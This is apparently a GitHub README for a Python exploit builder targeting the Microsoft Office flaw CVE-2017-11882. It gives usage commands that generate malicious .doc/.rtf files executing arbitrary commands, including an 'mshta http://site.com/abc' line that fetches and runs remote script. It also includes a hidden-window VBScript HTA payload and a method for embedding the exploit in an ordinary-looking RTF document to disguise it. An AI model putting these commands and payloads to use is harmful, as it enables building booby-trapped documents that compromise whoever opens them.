ridter/cve-2017-11882CVE-2017-11882 from https://github.com/embedi/CVE-2017-11882
43b original script from https://github.com/embedi/CVE-2017-11882
109b original script from https://github.com/unamer/CVE-2017-11882/ (Kudos, now unamer's code can execute shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
Using mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b command length cannot exceed 43 bytes, 109b command length cannot exceed 109 bytes
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
Actually, I learned the method for custom content from other experts. I had already written a script a long time ago, and originally didn't plan to make it public. However, seeing that someone in the group had already posted it, I had no choice but to release it. Actually, the method is very simple: just open a normal RTF document with a text editor, copy all content before {*\datastore, and replace all content before {\object\objautlink\objupdate. So it's very simple to write into a script.
How to use custom content, choose any script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Custom content is in input.rtf.
Regarding unamer's latest 605-byte exploit script, I won't update it. If interested, modify it yourself.